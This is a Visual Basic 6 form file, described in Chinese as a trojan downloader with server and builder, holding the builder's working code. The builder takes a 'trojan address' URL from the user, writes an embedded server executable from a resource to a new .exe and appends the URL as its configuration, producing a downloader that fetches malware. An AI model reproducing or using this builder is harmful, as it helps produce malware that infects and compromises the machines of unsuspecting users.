form1.frm

VB写的一个下载者 服务端和生成器都有

VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Begin VB.Form Form1 
   AutoRedraw      =   -1  'True
   BorderStyle     =   0  'None
   Caption         =   "支持中文了不过服务端变大了好多 5555~~~~~"
   ClientHeight    =   1740
   ClientLeft      =   0
   ClientTop       =   0
   ClientWidth     =   6060
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   1740
   ScaleWidth      =   6060
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  '窗口缺省
   Begin 工程1.QQForm QQForm1 
      Height          =   1740
      Left            =   0
      TabIndex        =   0
      Top             =   0
      Width           =   6060
      _ExtentX        =   10689
      _ExtentY        =   3069
      Begin 工程1.QQButton QQButton2 
         Height          =   375
         Left            =   3840
         TabIndex        =   4
         Top             =   1200
         Width           =   1335
         _ExtentX        =   2355
         _ExtentY        =   661
         Caption         =   "退出"
         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
            Name            =   "宋体"
            Size            =   9
            Charset         =   134
            Weight          =   400
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
      End
      Begin 工程1.QQButton QQButton1 
         Height          =   375
         Left            =   600
         TabIndex        =   3
         Top             =   1200
         Width           =   1335
         _ExtentX        =   2355
         _ExtentY        =   661
         Caption         =   "生成"
         BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} 
            Name            =   "宋体"
            Size            =   9
            Charset         =   134
            Weight          =   400
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
      End
      Begin VB.TextBox txtInfo 
         Appearance      =   0  'Flat
         Height          =   390
         Left            =   1440
         TabIndex        =   1
         Top             =   465
         Width           =   4455
      End
      Begin VB.Label Label1 
         BackStyle       =   0  'Transparent
         Caption         =   "请输入地址："
         Height          =   255
         Left            =   240
         TabIndex        =   2
         Top             =   600
         Width           =   1095
      End
   End
   Begin MSComDlg.CommonDialog cdLocation 
      Left            =   3840
      Top             =   1080
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Const FILE_SIZE = 20480     '这是101号资源中的服务端文件1.exe的大小

Private Sub Combo1_Click()
    Label1.Enabled = True
    txtInfo.Enabled = True
End Sub
Private Sub QQButton1_Click()
    Dim bInfo As Byte
    Dim bFile() As Byte
    Dim iInfoLen As Integer
    Dim i As Integer, lFile As Long
    Dim sUrl As String
    
    sUrl = txtInfo.Text
    iInfoLen = Len(sUrl)

    If txtInfo.Text = "" Then
        MsgBox "请输入木马地址！", vbExclamation, "地址"
        Exit Sub
    End If
    
'引入文件对话框部件，并命名为cdLocation
    cdLocation.Filter = "可执行文件(*.exe)|*.exe"
    cdLocation.ShowSave
    If cdLocation.FileName = "" Then Exit Sub
    On Error GoTo myErr:
    bFile = LoadResData(101, "CUSTOM")          '读出101号资源
    Open cdLocation.FileName For Binary Access Write As #1
        For lFile = 0 To FILE_SIZE - 1
            Put #1, , bFile(lFile)
        Next lFile
        For i = 1 To iInfoLen     '读出配置信息并追加
            str1 = Mid(txtInfo.Text, i, 1)
            If Asc(str1) >= 0 Then     '非中文
               bInfo = Asc(str1)
               Put #1, , bInfo
            Else                       '中文
               bInfo = HiByte(Asc(str1))      '先高位
               Put #1, , bInfo
               bInfo = LowByte(Asc(str1))     '再低位
               Put #1, , bInfo
            End If
        Next i
    Close #1
    Exit Sub
myErr:
    Reset   '如果有文件未关闭,则关闭之
    MsgBox Err.Description & " 配置信息请用半角字符."
End Sub

'获取高位
Public Function HiByte(a As Integer)
Dim b As Integer
b = a And &HFF00
b = b / 256
If b < 0 Then b = b + 256
HiByte = b
End Function

'获取低位
Public Function LowByte(a As Integer)
Dim b As Integer
b = a And &HFF
LowByte = b
End Function



Private Sub QQButton2_Click()
    End
End Sub